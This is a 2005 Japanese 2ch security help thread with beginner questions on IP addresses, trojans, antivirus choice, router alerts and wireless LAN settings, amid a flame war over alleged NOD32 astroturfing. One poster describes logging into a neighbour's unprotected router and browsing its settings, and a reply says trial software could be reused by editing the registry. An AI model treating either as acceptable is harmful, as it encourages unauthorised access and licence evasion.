3 :
名無しさん@お腹いっぱい。 :2005/11/14(月) 16:53:13
2
【IPアドレス】
・自分のIPアドレスを確認
9x系:[ファイル名をしてして実行]→winipcfg.exeを実行。
NT系:コマンドプロント起動→ipconfig /allを実行。
・他人のIPアドレスを確認
MS-DOSプロンプト(コマンドプロンプト)を起動して、
netstat -anを実行。表示されたポートから判断。
・IPアドレスから個人情報は漏れるか?
プロバイダが所有する情報は公権力が無い限り、外部漏洩は
通常なし。それよりもクラッキング対策をするべき。
・IPアドレスからプロバイダを知りたい
>>6-9 の【Whois】参照。なお、結果を貼りつけても無視される。
【掲示板】
・掲示板荒らし対策
注意、警告、放置、削除、一時閉鎖、利用制限、通告、完全閉鎖。
冷静に判断し、対応。困っているのは貴方だけではない。
・掲示板利用者のIPアドレスは調べられるか?
HTMLソースに書いてある場合もある。
10 :
名無しさん@お腹いっぱい。 :2005/11/14(月) 16:59:11
11 :
名無し :2005/11/14(月) 17:15:00
よくある掲示板で だれが書き込んでるとかわかる方法はないですか?ログとかもわからないですかね?
スレ立て乙。
>>11 自分が管理人ならアクセスしてくるIPアドレスだけはわかる。
自分が管理人でない鯖のログを覗こうとすること自体犯罪。
( ^3^)≡○#) 3・)∴.;
前スレの954ですけど、
>>957 さん。
お礼を言うのを忘れていました。すいません。
今更ですが、どうもありがとうございました。
19 :
名無しさん@お腹いっぱい。 :2005/11/14(月) 23:52:57
お願いします。 XP HomeEdition SP2 パソコンを一人で使用(administratorと別にユーザー1) ネットはすべてユーザー1で使用しています。 質問は2つあります。 【質問1】 ウイルス・スパイウエアスキャンをする時にセーフモードでしています。 セーフモード時にはadministratorとユーザー1の2箇所ログイン場面が出ますが 選択の判断がつかないので両方やっていますが時間がかかっています。 そこで質問です。この場合下記3点のどれが最良なのでしょうか? 1全てユーザー1でログインしてネットをしている(ソフトや画像などの取得)のだからユーザー1でスキャンするべき 2管理者モードが大事だから管理者モードでスキャンするべき 3今までどうりに両方するべき 【質問2】 スキャンする時全部していますがかなり時間がかかっています。 今までウイルスやスパイウエア、アドウエアが発見されたのはすべてシステム面?でした。 私のPCにはWindowsや各種ソフトが10GBあり後はデータ(画像、動画、テキスト)が100GB以上あります。 この場合、スキャンする対象をWindowsや各種ソフトが10GBに絞り込んでいいのでしょうか? 長々書きましたが宜しくお願いします。
20 :
19 :2005/11/14(月) 23:58:57
>この場合、スキャンする対象をWindowsや各種ソフトが10GBに絞り込んでいいのでしょうか? この場合、スキャンする対象をWindowsや各種ソフトの10GBに絞り込んでいいのでしょうか? 誤字です、すみません。
22 :
名無しさん@お腹いっぱい :2005/11/15(火) 00:35:00
元彼(外国人)のホームページに実名と写真が使われ名誉毀損に なるような書き込みがされました。彼はいま本国(イギリス)に 帰っています。相手を訴えるとかしてなんとかやめさせる方法は ないでしょうか。 困ってます。
☆無線LANのセキュリティ関連用語 ・ANY接続禁止……多くの無線LANのAPでは、クライアントのESS-ID/SSIDが「ANY」に設定されているとAPのESS-ID/SSIDを無視して勝手に接続できてしまうが、これを禁止する機能。 ESS-ID/SSIDはWindowsXPのワイヤレスネットワーク接続機能やNetworkStublerなどのソフトで容易に取得可能なので、セキュリティ的には気休め程度。 ・ESS-IDステルス……ESS-ID/SSIDを隠すことで他人に勝手に接続されることを防ぐ機能。 事前にESS-ID/SSIDを知っていれば接続できてしまうので、セキュリティ的には万能ではない。 ・MACアドレスフィルタ……無線LANのクライアントのMACアドレス(固体識別用の記号番号)をAPに登録することで、登録されていないクライアントから接続されることを防ぐ機能。 MACアドレスの欺称も可能だが、家庭内での使用ならこれをやっておけばだいたい大丈夫。 ・WEP……無線LANの通信を暗号化する技術。64・128・152bitなどの強度がある。 解読法が発見されており、64bitでは早ければ数分〜数時間程度で解読されてしまうので、最低でも128bitに設定すること。 うまく接続できないときは暗号化キーを16進で指定してみるべし。 ・WPA……無線LANの通信を暗号化する技術。複数の暗号化技術を組み合わせて暗号強度を強化してある。 脆弱性が発見されているが、WEPよりは安全。 暗号化キーは英数文字混在で20文字以上にしておくこと。 ・プライバシーセパレータ……無線LANのクライアント同士の通信を禁止する機能。バッファローの一部機器が搭載。
>ノートンがNOD厨の工作対象になっているのでお気をつけを。
>サポートサイトから過去のトラブルを探して、自分のPC上で起こっていないトラブル相談を
>ユーザーを装って大量にネットに投稿したりしています。
【インターネットセキュリティ Ver.75】
>27:名無しさん@お腹いっぱい。:2005/10/21(金) 21:22:37
>ノートンスレは常にNOD厨の工作投稿で一杯なので、初めて来た人は注意が必要です。
>Ver73スレのように1日で400レスほども大量に書き込むことも珍しくありません。
>284 名前:281 [sage] 投稿日:2005/10/24(月) 14:55:32
>自治スレで話題になっていたので、録.音が投稿しているというサイト↓を見に行ってきたよ。やはりそこでも嫌われてた。
>
ttp://higaitaisaku.com/cgi-bin/cbbs.cgi?mode=one&namber=4410&type=0&space=0&no=2 >そこで用いられているハンドルをインタネ検索してみたところ、教えて!goo掲示板にて、
>ある時は中年窓際会社員として、ある時は車の整備士として、離婚相談からアンチウイルス選びまで
>大活躍をしていることを知った。
>
>
ttp://oshiete1.goo.ne.jp/kotaeru.php3?q=1034093 >無理にそう言った重いソフトでチェックしなくても他のチェックサイトを試されてはいかがでしょうか?
>こちらを紹介しますのでシマンテック以外を選択されてチェックしてみてください。
>蛇足ですがこちらのウィルス対策ソフトは非常に軽くて使いやすくて
>本当にいいです、私が使っています。
>体験版がありますので一度使ってみてください。(
ttp://canon-sol.jp/product/nd/index.html )
>
>
ttp://oshiete1.goo.ne.jp/kotaeru.php3?q=1025032 >実は私もあなたと同じようにここの掲示板で似たような質問をして
>紹介してもらったのは、N.OD32と言うウィルスソフトです。
>これは本当に軽くて使いやすい!
>NISに比べるとウィルスソフトが入っている事がウソのように感じます。
>N.OD32、キャノンのサイトです。(体験版があります。)
>ただしこれはウィルスソフトだけですからファイアーウォールソフトは別に用意する必要があります。
>それもここの掲示板で教えていただいたのですが、Outpost Firewall と言うフリーのソフトです。
>ウイルスバスター叩き工作の犯人も雑音だった。
>
>深刻な被害を受けている善良なバスターユーザーの心からの訴え。
311 名前:VB2006 [sage] 投稿日:2005/10/26(水) 12:36:49
【2005使いも】ウイルスバスター2006 Part1【歓迎】
http://pc8.2ch.net/test/read.cgi/sec/1129946596/ ですが、荒らしがひどくて困ってます。
2006にアップグレードしたばかりで、みんなは本当の情報をほしがっているのに
どうにもなりません。
おそらく同一個人みたいなのですが、NODと比較して重いとか、VBアンインスコしたら
ニートの弟が働きだしたとか、もう手がつけられませんよ。
何とかなりませんか?
>>19 >2管理者モードが大事だから管理者モードでスキャンするべき
管理者モードでPCの全ファイルスキャンを掛ければ、全部のファイル(他のログインユーザーの分も)掛かるよ。
>今までウイルスやスパイウエア、アドウエアが発見されたのはすべてシステム面?でした。
>私のPCにはWindowsや各種ソフトが10GBあり後はデータ(画像、動画、テキスト)が100GB以上あります。
>この場合、スキャンする対象をWindowsや各種ソフトが10GBに絞り込んでいいのでしょうか?
心配なら1回だけ全ファイルスキャンをやって、それ以降はスキャン対象を絞り込めば良いかと。
nyとかやっていないなら、それで十分では。
漏れの周りの人は、全ファイルスキャンなんて年に1回ぐらいしかやらないよ。
PCJapanて雑誌に各セキュリティソフトの評価がでてたけど ウィルススキャンの時間が ノートン1時間40分 カスペ40分 nod32 10分 カスペのはウィルス検出数がTOPだったけど Nod32も特に悪くなかった 重さに関してはNod32が一番軽く それよりちょい重いのがカスペ スパイウェアに関してはダントツでカスペ Nod32は良くない あの雑誌を見た限り カスペは検出時間がかかるが検出数がよく そこそこ軽い Nod32 はとても軽く 検出時間がとても短くかつ スパイウェアはいまいちだが 検出数はたいへん良い 問題外というか駄目駄目だったのが ノートンとバスター どちらもあまりにも重たく、また検出時間がかかりすぎていて使用感が悪すぎる。
30 :
19 :2005/11/15(火) 02:49:10
>>28 様
回答有難う御座います。
テンプレで関係ない部分を省略した結果スルーされていたのかと思っていました。
【管理者モードで全ファイルスキャンを1回やる】
【後はスキャン対象を絞り込んでOK】
今までの悪夢のスキャンから解放されます。
本当に有難う御座いました。
32 :
名無しさん@お腹いっぱい。 :2005/11/15(火) 03:17:52
どこの板で質問してよいのかわからなかったので、まずここで質問させて下さい。 板違いなら誘導してもらえると助かります。 ↓のような環境でルータAにてSYN FLOOD攻撃が検出されるのですが、 どこか設定があまいのでしょうか? 基本的に不正アクセスはルータAに届く前に遮断したいのです。 アドバイスお願いします。 −ルータ型ADSLモデム(DR204C)−ルータA(WHR2-A54G54)−HUB−各PC ※モデムWAN側は動的なグローバルアドレス ※モデムLAN側は固定プライベートアドレスで ルータAWAN側固定プライベートアドレスに接続 ※ルータALAN側は固定プライベートアドレス ※ルータAの無線機能は不可にしてあります。 ※モデムのパケットフィルタリングでWAN側への接続は送信元IP・ プロトコル・ポート番号に係わらず切断するようにしてあります。 ⇒私的にはこの段階でルータAへのアクセスは不可だと考えていたのですが。。。 ※ルータAで SYN FLOOD 攻撃として検出されるIPアドレスは 64.94.110.11、12.158.80.10でwhoisでは該当ありません。 以上、よろしくお願いします。
33 :
名無しさん@お腹いっぱい。 :2005/11/15(火) 06:12:04
ギコナビなんですがURLを踏むわけでもなくただ2chスレを拝見していてトロイにかかることはありますか?
34 :
名無しさん@お腹いっぱい。 :2005/11/15(火) 09:18:51
>>32 多分外部からじゃなくて、内部からWAN側への通信を
SynFloodとして検出してるっぽいお
>64.94.110.11、12.158.80.10でwhoisでは該当ありません。
宛先アドレスじゃね?
あと、nslookupするとベリサインだと分かるから
期限切れの証明書関連だと思われ
昔ノートンで同じ事があったはず。ぐぐれ
36 :
質問! :2005/11/15(火) 09:44:14
ネットワークで他のパソコンを参照できる状態のままで 特定のパソコンだけインターネットできないようにする方法はありますか?
37 :
33 :2005/11/15(火) 09:46:18
スレ違いですか?ご迷惑かけました・・・
Meを使っています。トロイ(ダイヤラー)を削除するため、 Sophos Anti-VirusをDLしたのですが、初心者なもんで サポートを読んでもわかりませんでした。 トロイ(ダイヤラー)を削除するための指南サイトなど はないのでしょうか?かなり探しているのですが、なかなか 見つかりません。どなたかよろしくお願いします。
ヌルポースというウィルス?について詳しく教えてくれませんか?
>>33 2chは拝見するほど立派なものではありませんが、スレを見ているだけなら大丈夫です
しかし、必死な工作してるアンチNOD厨房見てるとNOD体験版を入れたくなる。 っていうか興味が出て入れてみた。 スキャンめっちゃ速え〜。んで軽い、軽すぎる。しかも割れやすい(マテ こいつを使うことに決めました!35さんありがとうww
>>40 URLを踏んだ場合のみ感染するのでしょーか?
自分はウィルスバスター2005を入れているのですがもし踏んだ場合にトロイの木馬に対処できますか?
>必死な工作してる 自慢ですか
割るなよっ、とツッコミたい。
精神がおかしいのだろう
最近、家の近くにあるらしい めずらしくセキュリティの低い無線アクセスポイントを見つけた。 しかもルーターにパスワードかかっていないので どんな設定が覗いてみたら… WEPなどの暗号化なし MACアドレスによる接続制限なし ANY接続許可 DMZが1つ設定されている(まぁ、これはFW使ってる可能性もあるが…たぶん何も考えていないであろう) もしもこの上ネットワークグループとかパスとかもデフォでファイル共有できる設定だと思うと… 当然外部のネットにもつなげられるので簡単に乗っ取りできてしまう。 自分はセキュリティに関してそんな詳しいとは思わないが ここまで無知だと末おそろしい。 まさかこんな人、他にもゴロゴロしているんだろうか? あまりにも悲惨なのでその人の情報は抹消した。 しかしできればその隣人らしい人に教えてあげたい所だが… いきなり見ず知らずの人に"ここは酷いインターネッツですね" などと忠告されたら引くよな? あ、よく見たらウチと同じプロバだった… ウチはプライベートIPだからもしも向こうとも共有状態で 犯罪に使われてたらどうしよう… まさかトバッチリ食わないだろうな!?
>>42 踏んでも感染しない場合もありますが、軽率に踏むのはやめましょう。
たまたまウィルスバスター2005が対応していないトロイの木馬の場合はダメです。
>>48 わかりました。軽率に踏むのはやめます。
うーんトロイの木馬にもいろんな種類があるのか・・・
アインスコしたのですが(メーカー推奨強制削除ツールで削除しました) ファイヤーウォールの設定がキングソフトのままで ウィンドーズファイヤーウォールに戻せません どうすればいいでしょうか? エロイ人教えてください(o*。_。)oペコッ winxp sp1 セレロンD メモリー448
>うーんトロイの木馬にもいろんな種類があるのか・・・ そりゃそうだよ。
>>51 いや、どうでもいいから。
あなたが雑音に恨みを抱いてることはよくわかったから巣に帰ってやってね^−^
俺らはNODに関しては「使えるか、使えないか」にしか興味ないから。
漏れは51ではないけど、 NOD信者の雑音が好んで使う言葉だという指摘をしただけで、 「恨みを抱いている」とかいう感情的なレスが付くのは変な希ガス。 41のカキコもわざとらしいし。 53=41は、どうも話題の信者さん本人なのでは?
>>53 fusianasanして大阪の光回線でない事を見せたら疑惑が晴れるよ。
>>55 よくわからんけど、そういう真贋?みたいのは他所でやってよ。
55や51みたいのが湧くからNODが嫌われてるんだってこと。
初心者で申し訳ないのですが、2チャンネルのIDのでないスレッドなのに 自分の書き込みがわかってしまってるんですが、 なんかIPアドレスが出てくるようなブラウザあるんですか?
58 自演しようとするからw IPでるのです
>>59 いえ。
自演を見破れればイイナと思ってるんですが
( ´,_ゝ`)プッ × 俺らはNODに関しては「使えるか、使えないか」にしか興味ないから。 ○ 初心者の質問のふりをして、他の製品のトラブルを大量投稿するのも大好きだから。 × 55や51みたいのが湧くからNODが嫌われてるんだってこと。 ○ NOD厨が湧くからNODが嫌われてるんだってこと。
2chで自演は付き物 温かい目でみてやれ
>>61 それは違うだろうw
×NOD厨が湧くからNODが嫌われてるんだってこと。
○NOD厨が宣伝するからNODが嫌われてるんだってこと。
IDでるとかなんか行ってるけど どこのいた河知らないけど 携帯O パソコン0 ???でる掲示板はめーる欄にsageとかけば???になるよ このこと?
なんか必死なんだねえ。 おかげでNOD32に興味が出てきたよ(マジで)
何回目の失敗だ?こいつは
必死なのは自分だけなのが自覚できない幼児66
スレタイ読まないバカの幼稚な宣伝なんか不要
>>67-69 早い話、お前みたいな勘違い君のせいで荒れるから別スレ立てて一人で引っ越せ。
(;^ω^).。O( 電波が意地になってきましたな......
72 :
32 :2005/11/15(火) 18:02:04
>>34 ご指摘のとおりでした。
レスありがとうございました。
73 :
名無しさん@お腹いっぱい。 :2005/11/15(火) 21:23:26
質問 窓の手でMS-DOSを使用不可にする、という項目があるのですが、 MS-DOSを使用不可にすると、セキュリティ上、得なことはありますか? 今、チェックを入れようか、入れまいか、悩んでおります。どうか、教えてください<(_ _)>
74 :
名無しさん@お腹いっぱい。 :2005/11/15(火) 23:32:09
自分以外のリモートホストを入力してIPをみる 確認君か診断君がありましたが どこでしたか?
75 :
名無しさん@お腹いっぱい。 :2005/11/15(火) 23:33:14
76 :
名無しさん@お腹いっぱい。 :2005/11/15(火) 23:33:46
77 :
名無しさん@お腹いっぱい。 :2005/11/15(火) 23:34:19
正体バレると発作か
あんな痛い宣伝が通じると思ってたのに裏切られたので火病なんだろ
80 :
名無しさん@お腹いっぱい。 :2005/11/16(水) 00:17:12
>>75 有り難うございますですが重くてつながりません。
82 :
名無しさん@お腹いっぱい。 :2005/11/16(水) 10:37:38
下記のIPアドレスから定期的にpingを打たれて 219.149.190.18 61.177.64.110 222.80.184.75 APNICで見てみると中国のサイトらしいのですが、 中国から打たれるpingを全てシャットアウト、などの対策をみなさんされているんでしょうか。 どこだかで海外からのアクセスを全て遮断するとかなんとかいう書き込みを 見た覚えがあるのですが、そうした処置はむしろ常識の範疇なんでしょうか。 自分がセキュリティ対策にあまりにも無策であるかどうかの判断もつきません。 家庭のブロードバンドルータでもそうした対策はしておくべきでしょうか。 ご意見をお聞かせ下さい。お願いします。m(__)m
家で実施しているセキュリティ対策は以下のものですが、足りない所や見直した方が良い所は 有りますでしょうか? 俺のMac ・ルーター ・OSX付属のファイアーウォール機能 ・OSXのセキュリティアップデート ・ClamXAV(UNIXで実績があるらしいアンチウイルス) ・MacScan(今のところβ版でフリーのスパイウェア検出ソフト) 嫁のWin機 ・ルーター ・Windowsファイアーウォール ・Windows Updtate ・ノートン アンチ ウイルス 2005 ・Spybod、Ad-Aware SE Personal ・セキュリティ24(最近へまをやらかしたNiftyのセキュリティ対策サービス) アンチウイルスやファイアーウォールはほとんど初期設定のまま使ってます。 今までMacはウイルスの話をほとんど聞かなかったのであまり深刻に考えていませんでしたが、 ソニーのスパイウェア入りCDはMacにも感染するらしいと聞いて、ちょっと不安になりました。
84 :
名無しさん@お腹いっぱい。 :2005/11/16(水) 12:07:22
俺のMac
何か無料ダウンロードできるアンチウィルスソフトってないですか?
無料のウィルスソフトならあるよ^^
ゲスイ振りだな,,,,(w
88 :
85 :2005/11/16(水) 12:33:54
たぶん今感染状態なんです 解決策はないですか?
>>85 PCをバットで叩きつけてぼこぼこにする
感染したPCをヤフオクで売却する
感染したままぷれーする(M男)
好きなの選べ
90 :
85 :2005/11/16(水) 12:44:32
ない
92 :
名無しさん@お腹いっぱい。 :2005/11/16(水) 13:43:18
>>85 感染してからウイルス対策ソフトを入れてもねえ・・・。
すっぱりリカバリしてからインスコしてくんさい。
>>92 それじゃ、現在感染してるウイルスはどうすればいいんですか?
95 :
85 :2005/11/16(水) 14:02:22
自己解決しました。
りかばりーっついみわからんのか クソガ喜
無知ですみません・・・・・・・
れすしてるひまあったらりかばりーしろ
( ^3^)≡○#) 3・)∴.;
こんにちは。 AD-AWAREを初めて使ったのですが、スキャンして出てきたもののうち マイクロソフト系のものは隔離しておけばいいのでしょうか? それとも駆除すればいいのでしょうか?
セーフモードで動くマウスが一個も無い場合どうすればいいのですか?
102 :
85 :2005/11/16(水) 17:05:21
リカバリーってなんですか?
自己解決しました。
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>100 | | | \_____
(__)___)
MS系の物とは?
通常、引っかかることなど無いはずですが。
>>104 ありがとうございます。
windows/microsoft/・・・・とか、program/real〜とか沢山引っかかりました。
クリティカルと非クリティカルで合計50個くらい検出されました。
スパイボットの時は検出されなかったんですが。
でもネットでは検出されることがあるとか書いてあったので
クリティカルの方だけ駆除してしまったんですが。
それからクッキーを消してませんでした。
106 :
85 :2005/11/16(水) 17:23:47
本当にわかりません 教えてください
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>105 | | | \_____
(__)___)
>ネットでは検出されることがあるとか書いてあったので
そうですか。そしたら、それらに関しては「隔離」で様子を見て下さい。
あと、Realの物に関しては、グレーゾーンがありますので、個人的には
削除をお勧めします。
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>106 | | | \_____
(__)___)
「cow&scorpion」に行って漁ってみて下さい。
111 :
92 :2005/11/16(水) 20:12:06
>>85 釣りですか?
まあ、いいや、ネット出来るんなら、「リカバリー」
の意味は自分で調べられる筈だよねえ。
どーしても自分で出来ないんなら、電器屋のサービスコーナーでも
持ち込んだら?有料だろうけど。
112 :
名無しさん@お腹いっぱい。 :2005/11/16(水) 22:25:40
質問させてください。 なんかネットを閲覧していると2日に1回くらいの頻度で、 ふと以下の文章が書かれたウインドウが開くようになったんです。 ------------------- > あなたの知らないうちに、コンピュータがスパイウェアやアドウェアのダメージを 受けているかもしれません。 > オンラインで音楽をダウンロードしたりアダルトサイトを見たりすることで、 スパイウェアはあなたのコンピュータに勝手に入り込みます。そしてそれにより、 コンピュータの速度が遅くなったり、不必要なポップアップ広告が出てきたり、 あなたの個人情報まで盗まれたりします。 > コンピュータをスキャンします。「O.K.」をクリックしてください 「O.K.」 ←ボックス --------------------引用終わり ウインドウのタイトルバーには何にも書かれてないし、 直感的に怪しいと思ったんでOK押さずにウインドウ閉じたんですけど、 普通の状態でこんなウインドウが開くことってあるんですか? アンチウイルスソフト、Ad-Aware、SpyBotでスキャンしても何も出てきません。 使用アンチウイルスソフトはマカフィーで、OSはXP、ブラウザはFireFoxです。
ヒント:幽霊
114 :
名無しさん@お腹いっぱい。 :2005/11/16(水) 22:36:15
>>112 >アダルトサイトを見たりすることで、
テストにでます。
116 :
名無しさん@お腹いっぱい。 :2005/11/16(水) 23:49:07
OGRISHに行って、動画をみようとして、クリックしたらトロイに感染しました。あのサイトは、ヤバイんですか?
117 :
ひみつの検疫さん :2024/12/28(土) 04:25:51 ID:MarkedRes
汚染を除去しました。
http://qb5.2ch.net/test/read.cgi/saku2ch/1131878410/240 a. [ドメイン名] SANNICHI-YBS.CO.JP
e. [そしきめい]
f. [組織名] 株式会社山梨文化会館
g. [Organization] Yamanashi Culture Hall, Ltd.
k. [組織種別] 株式会社
l. [Organization Type] Joinstock Company
m. [登録担当者] TM121JP
n. [技術連絡担当者] HI055JP
p. [ネームサーバ] uni.sannichi-ybs.co.jp
p. [ネームサーバ] yacc-srv.yacc.or.jp
[状態] Connected (2006/09/30)
[登録年月日] 1994/09/26
[接続年月日] 1995/03/16
[最終更新] 2005/10/01 01:17:13 (JST)
.・・・
DoS対策について語り合いたいのだけど、 セキュリティ板で良いのかな? 自鯖立てているわけじゃないんだけど、 中国とか韓国に友好wに行くと、ハニポがいぱいで、 しつこい80アタックとか有るんだよね。 今までに対DoSのスレって有りましたか?
VIPPER氏ね
122 :
名無しさん@お腹いっぱい。 :2005/11/17(木) 13:47:05
Windows XP使用です。 TROJ_SMALL.QNっていうのに感染してしまったようなのですが 駆除方法がわかりません。 C:\\WINDOWS\syst…ってところが感染したらしいのですが。 どなたかご教授願います。 教えてちゃんですまんです。
駆除できなきゃ削除するほかない、とバスターのHPで書いてあった。
CDブートとはなにでしょうか?
127 :
名無しさん@お腹いっぱい。 :2005/11/17(木) 14:31:55
>>125 これ自鯖板でしょ?
初級ネット板とかだと、vipperきちゃいそうだし。
今まで無いみたいだから、立ててみます。
128 :
名無しさん@お腹いっぱい。 :2005/11/17(木) 14:34:32
>>126 CDから起動シル!!
HDのファイル取り除けるでしょ。
CD1毎でブートとか知らない?結構、雑誌とかでも特集してるよ。
>>128 もうすこしわかりやすく行ってもらえませんでしょうか?
ノートンでwinxp sp2 脳トンで削除できないとかで一応おk押しました その後ウィルススキャンしましたが反応しませんでした これってアクセスできないようにウィルスがプログラム書き換えたのですか?
132 :
名無しさん@お腹いっぱい。 :2005/11/17(木) 15:07:34
133 :
名無しさん@お腹いっぱい。 :2005/11/17(木) 15:09:17
134 :
122 :2005/11/17(木) 15:12:20
すいませんパニクってます。 ウイルスバスターでは駆除できないようなので自力で削除しなきゃならないらしいのですが… なにぶん初心者すぎてわけがわかりません。 ググッてもほとんど情報がない種類みたいで。
132 あやしいurlはふみませんよw
136 :
名無しさん@お腹いっぱい。 :2005/11/17(木) 15:13:46
137 :
名無しさん@お腹いっぱい。 :2005/11/17(木) 15:17:35
138 :
名無しさん@お腹いっぱい。 :2005/11/17(木) 15:18:38
何このスレ
はぁ? スレを最初から読み直せ
127.0.0.1にアクセスしたら、404エラーが出ます。 これってウイルスかなにかに感染してるんでしょうか?
143 :
名無しさん@お腹いっぱい。 :2005/11/17(木) 21:42:15
はじめまして。 昨夜、電源を切っていたPCのランプが着いてるのに 気づきました。いつも使用した後にモデムの電源を 切って埃除けの布を掛けているのですが、昨夜は掛け忘れ 夜中の2時ほどに暗い中に、PCの4つのランプがチカチカ点灯してるのに 気がつきました。起動してみると何も異常はありませんでした。 消してるPCの電源ランプまで点灯してるという事は、うちのPCに ハッカーが進入してると言う事でしょうか?XPなのでファイヤー ウォールは有効にしているのですが。 これはやはりハッカーなのでしょうか。
144 :
名無しさん@お腹いっぱい。 :2005/11/17(木) 21:48:39
誘導されてきました。 質問お願いします。 ノートン先生を使っているものなのですが。 昨日新しくOSのアカウントを一つ増やしてそちらでも機能しているか確認すべく、とりあえずUPデートを試みました。 その結果何故か侵入シグネスチャだけが正常にアップデートされていませんでした。 これは2つ目以降のアカウントでノートン先生を使用する際の仕様なのでしょうか? それとも2つ目以降のアカウントでもノートンをインストールしなおす必要があるのでしょうか? それ以前にやはりセキュリティを気にするようならアカウントは1つのみにした方が良いのでしょうか? わかるかたご返答ください。
>>144 です。すいませんOSはXPです。 一応書いておきます。
>>142 そのウイルスは人体から出る放射線で突然変異しBIOSにまで感染するので、
すぐにパソコンをリカバリすることを推奨します。
>>143 まあ、家族の人がのぞき見たんだろうね
>>144 何言っているのか、よくわからないのだ 11:3=B
ユーザーアカウントのことなのか? OSを複数入れているのか、なんなのだ 11:3=B
>>144 です。
はいユーザーアカウントの事です。
質問ですが、ウイルスバスターの体験版をインストールして、 期限が切れたらアンインストール、その後にインストール、 ということを繰り返すことは可能でしょうか?
>>151 バスターくらい買えない貧乏人はPC捨てろ。
で、ぶっちゃけAVIとavast!ってどっちがいいのさ?
>>144 です。
>>150 さんの教えてくれたページはとても参考になったのですが微妙に目的の情報とは異なっていたようです。
OSのユーザーアカウントを始めて1つ増設したのですが、そちらの増設したユーザーアカウントでノートン先生のUPDATEを実行するさいに
何故か侵入シグネスチャだけアップデートが失敗したとのエラーがでてしまうのです。
ノートン先生のアップデートは本アカウント以外では完全には行えないということでしょうか?
またOSの本アカウント以外でも正常に機能していると信じてよいものでしょうか?
最後の蛇足ですが、セキュリティを向上させる為には本アカウント一つに絞った方がより安全といえるのでしょうか?
経験豊富な皆様のご返答をお待ちしています。
>>151 基本的にリカバリーでも繰り返さない限りブロックされていると思うよ
レジストリ弄れるならリカバリー無しでも体験版の連続しよう可能だろうけど。
>>156 151です。どうもありがとうございました。
>>153 そうですね。回線切って首吊ります。
>>155 コンピューターの管理者じゃないとダメなんじゃないかい?
159 :
143 :2005/11/17(木) 23:04:35
>147 家族が見たという事は、ハッカーの心配は無いという事ですか?
>>158 それがシグネスチャ以外は更新できているんですよ
アップデート以外の機能が確実に起動しているなら更新くらいは本アカでやるので良いのですが
>>159 彼は、家族が君の寝ている間にPC使ったんじゃないかって言いたいんじゃない?
>>155 以前ノートン使ってたけど、ノートンのスーパーバイザー権限があればアップデートできた。
Windowsの管理者権限もないと駄目かも。
再起動したら別アカウントでもアップデートできました。 調子が悪い時はなんにしても一度再起動するのは未だに基本のようですね(滝汗
163 :
143 :2005/11/18(金) 01:10:59
>155 そうなんですか、家族に確かめてみます。 有難う御座いました。
このスレおかしくない?
>>246 以前がレス番しか表示されないし、247以降も文章は表示されるが変に左側にスペースが
あいてる。ちなみにホットゾヌ2で見ている。このスレ以外は正常に表示されるのだが。
おかしくない。ちゃんと見えるよ。 あんたの方がおかしんじゃない?
>>164 > このスレおかしくない?
>
>>246 以前がレス番しか表示されないし、247以降も文章は表示されるが変に左側にスペースが
> あいてる。ちなみにホットゾヌ2で見ている。このスレ以外は正常に表示されるのだが。
今こう見えてますよ。
ちなみにこの書き込みを書いている時点で発言番号は165までしか存在しませんでした。
167 :
名無しさん@お腹いっぱい。 :2005/11/18(金) 11:37:30
あの、バッファローのルータで、SPI機能でアタック回数がしきい値を越えるとメールを送ってくれる機能があるのですが、 ====================== Network Attack Notification. From (どこぞのIPアドレス(中国が多い)) to (ルータのWAN側のIPアドレス) : 50 packts. ------------------------------ AP Name : ルータ名 ====================== こんなメールがちょくちょく送られてきます。 で、ログを見ても同じような内容で、どんな内容のアタックなのか、 具体的にどのような現象が起きているのかさっぱりわからず、 サポートに3往復ほど問い合わせたところ、結局のところ ヘルプに書かれている以上のことはわからない、とひらきなおられました。 『具体的に』何がどうなっているのかさっぱりわからないそうです。 上のようなメールを受け取ったって、何が起きているかなんて わからないじゃないですか。 DOSアタックかまされてるのか、SPIで防げるレベルの各種のアタックをかけられてるのか、 何がどうなってるのか説明のしようがなくて困ってます。 こんな無駄な機能ならつけなきゃいいのになあとか思いますが、どうなんでしょう。 どなたか『具体的に』何が起きているのかわかる方おられるでしょうか。 もしわかったらレスをお願いします。
Dos攻撃 ポートスキャン Code Red が主。
一部訂正 × Code Red ○ Code RedのようにWindowsの脆弱性を利用したもの
170 :
名無しさん@お腹いっぱい。 :2005/11/18(金) 12:59:34
>>166 >ちなみにこの書き込みを書いている時点で発言番号は165までしか存在しませんでした。
それのどこがおかしいの? 165の次が君のレス166になるわけで不思議じゃないよ。
XPを使っているものです PCを立ち上げると 「コンピューターが危険にさらされています。ファイアウォールを有効にしてください」 と表示が出るのですが、windowsファイアウォールは有効にしているはずなんです。ほかに原因があるのでしょうか?
172 :
名無しさん@お腹いっぱい。 :2005/11/18(金) 13:05:16
質問します 1つのIDE HDD を Cドライブと Dドライブに パーティション区切ります CはNTFSで DはFAT32で フォーマットします CにWINXP DにWIN2000 をインストールしてデュアルブート環境にします XPを普段用 2000をエロ用 として使うとすると 2000起動時(エロ使用時)はCドライブ(NTFS)にアクセスできないんですよね これってウイルスやスパイウエア対策になりますか?全然駄目でしょうか? XP使用時に入れた個人情報がスパイウエアによって流出したり Cドライブに入ってるデータやシステムがウイルス感染することはあるのでしょうか?
やぁ、このスレを見た君にとっておきのスペシャルなニュースだ
君はコンピューターウイルスをくらったことあるかい?
ウイルスはとっても危険だ、誰だって避けたい
でも2ちゃんにはそんなウイルスがしこんであるアドレスがたくさん貼ってある
その度にタイーホなんて言われるがリアル逮捕なんてほとんど無い
でもこれは立派な犯罪だ(
http://www.ss.iij4u.or.jp/~somali/web/security/obstruct.html )
これから紹介するスレは
>>1 ことID:H+tEOmVN0が確信的にウイルスを貼って
それをふんだ人を見てあざけ笑っているという、とってもファンキーなスレだ
どうだい君もID:H+tEOmVN0同じように軽い気持ちでリアル通報してみないかい?
みんながまじめに通報なんてしたら
普段やる気の無いポリスも「いっちょやってみっか」って気分になるってもんさ
おっと、そこの優しい君はID:H+tEOmVN0がかわいそうなんて思ったかい?
そんな心配、無問題
ID:H+tEOmVN0は逮捕の殿堂に入れるとウキウキワクワク
そんなに期待されたら通報するしかないじゃない
ここらでこれからの2ちゃんのために
「2ちゃんにウイルスを貼って通報されて逮捕」っていう分かりやすい前例作ろうぜ!
↓
>>1 のアドレスにはウイルスしこんであります
http://news19.2ch.net/test/read.cgi/news/1132282995/
